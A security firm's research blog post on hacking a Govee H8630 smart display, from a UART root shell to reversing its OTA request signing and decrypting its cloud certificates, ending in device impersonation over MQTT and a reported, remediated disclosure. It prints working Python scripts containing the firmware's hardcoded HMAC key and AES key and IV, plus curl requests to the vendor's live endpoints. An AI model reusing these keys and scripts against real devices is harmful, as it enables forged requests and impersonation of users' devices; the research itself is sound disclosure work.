Breaking Into a Govee Smart Display: From UART Shell to Device Impersonation

12 min read Original article ↗

Kulkan Security

Press enter or click to view image in full size

Breaking Into a Govee Smart Display: From UART Shell to Device Impersonation

Hi! I’m Matias Fumega, security consultant at Kulkan Security. This post covers my research on the Govee H8630 smart display. Starting from initial UART access and ending at full device impersonation over MQTT, finding and reporting cool bugs along the way.

Introduction

Govee smart displays are consumer IoT devices running embedded Linux (Tina Linux, based on OpenWrt) on ARMv7 hardware.

This investigation started as a curiosity exercise. The initial goal was simply to obtain a root shell. Once inside, the scope expanded naturally: firmware update endpoints, the authentication scheme protecting them, certificate storage, and the MQTT channel connecting the device to Govee’s AWS-hosted broker. The device analyzed is a Govee H8630 display.

Press enter or click to view image in full size

Physical Access and UART Shell

UART is a serial protocol that sends data one bit at a time over two wires (TX and RX) plus ground. Both sides must agree on a baud rate beforehand since there’s no shared clock. That’s it, it’s the simplest possible communication channel. Here we usually see debug logs, the kernel logs, and sometimes, we get a shell.

The device exposes a 4-pin serial header on its main board, with pins individually labeled:

Press enter or click to view image in full size

The connection to a UART-USB adapter follows the standard cross-wiring (device TX → adapter RX, device RX → adapter TX).

The device uses an uncommon baud rate. The majority of devices use 115200.

picocom -b 1500000 /dev/ttyUSB0

At 1,500,000 baud, the screen printed readable boot messages. From here, pressing “Enter” drops us into an interactive shell, but the session is immediately flooded with continuous debug output messages.

Press enter or click to view image in full size

Obtaining a Usable Shell

As soon as the system fully loads, and we get an interactive root shell, there are tons of log messages originating from the govee_app process (PID 330).

I tried to kill it first, but there was a watchdog script continuously monitoring for its presence and launching it again if it was not running, so a direct kill triggered an immediate restart loop.

Suspending the process instead was the correct approach:

kill -STOP 330

This silences the debug output and frees the terminal. The display stops updating until the process is resumed or the device reboots, but the shell becomes fully interactive:

Persistence Across Reboots: OverlayFS

With a root shell available but no known root password, I changed it with the passwd command. This enabled Telnet access (port 23) without requiring physical UART access each time.

My question at this point was whether this password change would survive a power cycle.

Rebooting the device confirmed it persisted, and the reason lies in the mount configuration:

mount | grep " / "
overlayfs:/overlay on / type overlay
(rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/workdir)

The root filesystem is an OverlayFS. The lowerdir is the read-only factory image (squashfs). The upperdir=/overlay/upper is a writable layer stored in flash memory. Any modifications, including /etc/shadow, are written to the upper layer and persist across reboots unless a factory reset explicitly clears them.

Here is a good image to understand how this FS operates. Lowerdir, in our case, is the / directory. So everything there is gonna be RO . But the trick is that we are “adding” an upperdir, which is a writable flash space. And the “overlay” layer will be the combination of the lower and upper directories.

The result is we’ll have all the firmware and critical data as RO, and a writable layer for all the modifications. Bear in mind that all these modifications will typically be wiped after a hard reset.

Factory Reset Mechanism

The govee_init.sh script, located at /etc/init.d/ launches a binary called govee_reset at boot. Analysis of this binary in Ghidra revealed a hardware-triggered factory reset handler function.

This function, opens /dev/gpiochip0 and monitors a GPIO pin (line 0x24) via ioctl calls. If the pin is held low for more than 5 seconds, the following commands execute sequentially:

/govee/others/stop_app.sh
find /data -type f -exec rm {} \;
find /mnt/UDISK/data -type f -exec rm {} \;
fw_setenv parts_clean rootfs_data:UDISK
reboot

This wipes the /data partition and sets a U-Boot environment variable to signal a clean partition on next boot. The OverlayFS upper layer resides within /data , meaning a factory reset does erase the password change, but only if the physical reset button is held long enough to trigger this path.

Now that we have an idea on how the device manages this, let’s try to find a way to download the firmware.

Firmware Update Mechanism

After moving around within the device filesystem, I ended up opening the file /data/config/system_config.ini which contains several cloud endpoints, including the OTA URL:

Press enter or click to view image in full size

I tried a simple GET request to the /firmware/check endpoint, but it wasn’t successful. The response was:

{“status”:405,”message”:”Method Not Supported”}

So, from this, I knew that a POST request, and maybe a structured body would be required. In order to find out all the body parameters, we’ll have to dive deep into a binary called govee_iot.

Let’s get to it.

Reversing the OTA Request Body in govee_iot

My first approach here was to look for the string https:// within all the binaries, and it partially worked, because after a few hours, I found this particular one: https://%s/bff-iot/device/v1/config/endpoint. By tracking this down in Ghidra, it led me to another function in charge of sending the request to this endpoint.

The JSON body is assembled by FUN_0003e994 using cJSON:

Here’s an organized table with the field and the function in charge of crafting it.

The /data/config/device_config.ini file supplies the following device fields:

[device]
uuid = D2:…:CC
ble_mac = …
sku = H8630
ble_hw = 5.01.00
ble_sw = 1.00.79

UUID Construction

The device UUID is an 8-byte colon separated value. Similar to a MAC address but two bytes longer. Searching the firmware binaries for the string uuid revealed the following format string fw_setenv govee_uuid %02x-%02x-%02x-%02x-%02x-%02x-%02x-%02x,%08x inside govee_iot , tracing to a couple functions that after understanding what was going on, I ended up with the following UUID structure:

UUID = [2 random bytes] + [BLE MAC address reversed]

The gid Field

The gid field is not a static identifier, it is an AES-128-ECB ciphertext produced at runtime.

The function validates the magic bytes of the file /data/config/gid/gid.bin against the constant 0x55e3202a. If matches, the check is successful, otherwise, throws an error.

The origin of this constant is unknown; it appears to be a vendor-defined magic number.

The value is in little-endian format, so it is read in reverse byte order.

After validating, it copies the value and then performs AES encryption.

Press enter or click to view image in full size

After tracking in Ghidra this code for a while, I found that the 16-byte AES key is assembled from three device-specific components:

[ SKU prefix (up to 8 bytes) | 4 ASCII chars of UUID | last 4 ASCII digits of timestamp ]

After understanding how the GID was built, I built a script to automate this task from now on:

from Crypto.Cipher import AES

sku = b"H8630"
uuid = b"[REDACTED]"
timestamp_ms = 1757934206123

key = bytearray(16)
key[:len(sku)] = sku[:8]
key[8:12] = uuid[:4]
key[12:16] = str(timestamp_ms)[-4:].encode()
key = bytes(key)

gid_raw = b"U@91c480cbf57af5a9cd65a5dd567b596f09d547a524c98723db0e497c6efdf615"
pad_len = (16 - (len(gid_raw) % 16)) % 16
plaintext = gid_raw + b"\x00" * pad_len

cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(plaintext)
print(f"[+] Final GID: {encrypted.hex()}")

Up to this point, I was able to complete my JSON like this:

{
"chip": 81,
"sku": "H6630",
"device": "{REDACTED}",
"wifiHardVersion": "5.01.00",
"wifiSoftVersion": "1.00.79",
"bleHardVersion": "5.01.00",
"bleSoftVersion": "1.00.79",
"timestamp": {currentTimestamp},
"gid": "{Obtained by our script}",
"signature": "????"
}

The signature Field

The function FUN_0003e824 constructs the signature. It formats a string from device fields and passes it to another function in charge of the HMAC-MD5 implementation.

Get Kulkan Security’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

This function takes an input buffer, uses a secret key stored at 0x4a395 of length 0x10 and then runs the HMAC-MD5.

Press enter or click to view image in full size

After several failed attempts to reproduce the signature, I paused the analysis and decided to find a workaround.

After exhausting all kinds of approaches, the solution came from the least glamorous method. It turns out, sometimes the best reverse engineering tool is just… reading the logs.

The exact input string was recovered by reconnecting via UART, restarting govee_iot, and searching the debug output for the hmacMd5_buf log entry.

The device logs just printed the exact field order:

Press enter or click to view image in full size

Sending Authenticated OTA Requests

I first saved this one to a file called “firmware_check.json” and tried sending a curl request to the /firmware/check endpoint.

curl -sS 'https://device.govee.com/bff-iot/device/v1/ota/firmware/check' -H 'Content-Type: application/json' -H 'envid: 0' -H 'iotversion: 0' --data-binary @firmware_check.json

And I received the following response:

{
"message":"success",
"checkVersion":{
"needUpdate":false,
"channelType":0,
"chip":81,
"sku":"H8630",
"device":"[REDACTED]",
"md5":"",
"fileType":1,
"size":0,
"versionSoft":"1.00.79",
"versionHard":"5.01.00",
"downloadUrl":""
},
"status":200,"data":{"dst":{"deviceDst":[],"timezoneID":"","sync":0}}}

The hypothesis was that reporting an older software version would trigger a “needUpdate:true” response, so I changed the “versionSoft”:”1.00.79" , to “versionSoft”:”1.00.00" , and it worked:

[...]
"downloadUrl":"https://s3.amazonaws.com/govee-public/upgrade-pack/6a77267aa18f69e1de61db758376984d-H8630_WIFI_HW5.01.00_SW1.00.79_OTA.swu"
[...]

Obtaining this way the correct endpoint to download my device’s firmware. A plain S3 URL, unauthenticated, with no signature, no expiration, and no access control. Anyone with the URL can download it.

The /config/endpoint

With the body confirmed and the signature function reversed, I finally had everything needed to sign requests correctly.

This was the script I end up with:

import hmac, hashlib

KEY = b"&k2#@.<7oQ;>Y)l+" # 16-byte ASCII key

def signature(p: dict) -> str:
msg = (f'{int(p["chip"])}.'
f'"{p["gid"]}"."{p["sku"]}"."{p["device"]}".'
f'"{p["wifiHardVersion"]}"."{p["wifiSoftVersion"]}".'
f'"{p["bleHardVersion"]}"."{p["bleSoftVersion"]}".'
f'{int(p["timestamp"])}.{int(p["saltVersion"])}')
return hmac.new(KEY, msg.encode(), hashlib.md5).hexdigest()

payload = {
"chip": 81,
"sku": "H6630",
"device": "[REDACTED]",
"wifiHardVersion": "5.01.00",
"wifiSoftVersion": "1.00.79",
"bleHardVersion": "5.01.00",
"bleSoftVersion": "1.00.79",
"timestamp": 1757366722,
"saltVersion": 3,
"gid": "123123123",
}
print(signature(payload))

Sending a message with arbitrary values but a valid signature confirmed that the server only validates the signature structure, not the content.

Note: A random device fails with “Unbound device”; binding is enforced separately from the signature.

Press enter or click to view image in full size

The signature validates the structural integrity of the request body, but it does not grant access to arbitrary device identifiers. Sending a properly signed payload with a random device value returns an error:

{“status”: 400, “message”: “Unbound device”}

Device binding is enforced server-side independently of signature verification. A valid signature is necessary but not sufficient. The device field must correspond to a device that has been provisioned and bound to a Govee account. This limits the practical impact of the hardcoded HMAC key to devices whose UUIDs are already known.

The /config/endpoint endpoint is particularly interesting, because it returns device configuration data.

Press enter or click to view image in full size

Here’s the body in JSON format to see in an easy way the content:

{"status":200,
"message":"Success",
"data":{
"timestamp":1757446397,
"serverTime":1757446397305,
"mqttPort":8883,
"mqttAddress":"aqm3wd1qlc3dy-ats.iot.us-east-1.amazonaws.com",
"certificate":{"certificatePem":"-----BEGIN CERTIFICATE-----
","privateKey":"-----BEGIN RSA PRIVATE KEY-----"},
"subscribe":{"gdTopic":"GD/[REDACTED]"},
"publish":
{"accountTopic":"GA/[REDACTED]","gdTopic":"RT/thin
g/server/GD/[REDACTED]/data/report"},
"urls":{
"otaUrl":"https://device.govee.com/bff-
iot/device/v1/ota/firmware/check",
"matterCertUrl":"https://device.govee.com/bff-device/v1/ota-cert",
"weatherUrl":"https://device.govee.com/bff-iot/v1/third-api/weather",
"financeBtcUrl":"https://device.govee.com/bff-iot/v1/third-api/finance-
btc-usd",
"nbaGameUrl":"https://device.govee.com/bff-iot/v1/third-api/nba/game",
"multimediaUrl":"https://device.govee.com/bff-iot/device/v1/multimedia",
"uploadFileUrl":"https://device.govee.com/bff-
iot/device/v1/file/upload",
"uploadFileUrlV2":null,
"nflGameUrl":"https://device.govee.com/bff-iot/v1/third-api/nfl/game",
"financeStockPriceUrl":"https://device.govee.com/bff-iot/v1/third-
api/finance/stock-price"}
}}

See the MQTT data and the Private Key? I decided to quickly explore both, which you’ll see in the sections below. Before diving in, let’s quickly cover what MQTT actually is.

MQTT Analysis

MQTT (Message Queuing Telemetry Transport) is a lightweight publish-subscribe messaging protocol designed for low-bandwidth, high-latency, or unreliable networks. It’s everywhere in IoT.

MQTT was not the primary focus going in. So the following findings arose from exploring the device’s cloud communication stack.

From the file /data/config/system_config.ini I pulled some connection details, such as the URL, port, Sub and Pub Topics.

This whole protocol, for this case, works as follows:

  • Govee display -> MQTT client. Publishes telemetry data, but can also subscribe to receive commands.
  • Govee cloud/server -> MQTT broker. Receives what the device sends and routes it to subscribers (like the app).
  • Govee mobile app -> Another MQTT client. Subscribes to the device’s topic to get updates, and can also publish commands (brightness, mode changes, etc.) back to the device through the broker.

To interact manually with this protocol, I used Mosquitto, a client tool for MQTT.

My first attempt was the simplest possible. But mosquitto_sub immediately prompted that a topic was required.

Press enter or click to view image in full size

At that point I started digging inside the device to figure out which credentials were required, and in case I couldn’t recover them, I had another potential lead to follow: a response from /config/endpoint that returned a private key and certificate.

Decrypting Certificates and Private Key

I saved the Certificate and private key to a file, but when I tried to use them with mosquitto_sub, it failed again.

Running file on them showed they were not plain PEM files. Both were reported as binary data. Opening them revealed they were encrypted.

After inspecting the govee_iot binary, I found a function in charge of decrypting these files, but this function exposed the hardcoded key and IV used for encryption/decryption, which are critical for retrieving the device’s private key.

userKey = (uchar *)FUN_00027fd4("2b05705d5c46f412af8cbed55aadeeee");
ivec = (uchar *)FUN_00027fd4("02a85c61c786def4521b060265e8eeee");

Based on this new info, I wrote a Python script to decrypt my cert and privkey files.

#!/usr/bin/env python3
from Crypto.Cipher import AES
import sys
# Hardcoded key and IV from firmware
key_hex = "2b05705d5c46f412af8cbed55aadeeee"
iv_hex = "02a85c61c786def4521b060265e8eeee"

key = bytes.fromhex(key_hex)
iv = bytes.fromhex(iv_hex)

def decrypt_file(enc_file, out_file):
with open(enc_file, "rb") as f:
data = f.read()
# AES-128-CBC decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data)
# Strip possible padding (\x00 or PKCS#7)
decrypted = decrypted.rstrip(b"\x00")
with open(out_file, "wb") as f:
f.write(decrypted)
print(f"[+] Decrypted {enc_file} -> {out_file}")

if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <encrypted_cert.pem> <encrypted_privkey.pem>")
sys.exit(1)
decrypt_file(sys.argv[1], "cert-fixed.pem")
decrypt_file(sys.argv[2], "privkey-fixed.pem")

We can check this doing the file command on the 2 new files:

Press enter or click to view image in full size

With this, I performed the same Mosquitto command we used before, but this time it worked! and asked for a client ID. The client ID is the identification of our Govee device for example. I could do a complete valid request like this, and successfully subscribe:

Press enter or click to view image in full size

With this, I could impersonate the device and look for commands by interacting with the app and listening to that sub topic:

Press enter or click to view image in full size

Responsible Disclosure

After completing the analysis, I reported the findings to Govee’s security team, covering the hardcoded HMAC-MD5 key, the AES key and IV used for certificate encryption, and the device impersonation primitive enabled by combining both.

Govee acknowledged the report and on January 21st 2026 confirmed the vulnerabilities were remediated.

Conclusion

What started as getting a root shell ended up exposing a full device impersonation primitive.

The individual findings are not exotic. But hardcoded keys and an open serial console are common IoT weaknesses. What makes this interesting is how they chain, allowing me to impersonate the device completely.

The most impactful fix would be per-device key derivation for both the HMAC signature and the certificate encryption, rather than firmware-wide constants. The server-side device binding check provides a partial mitigation, but it relies on UUID secrecy. A weak assumption once physical access is achieved.

Matias Fumega [LinkedIn]
Security Consultant @ Kulkan

About Kulkan

Kulkan Security (www.kulkan.com) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at www.kulkan.com

More on Kulkan at:

Subscribe to our newsletter at: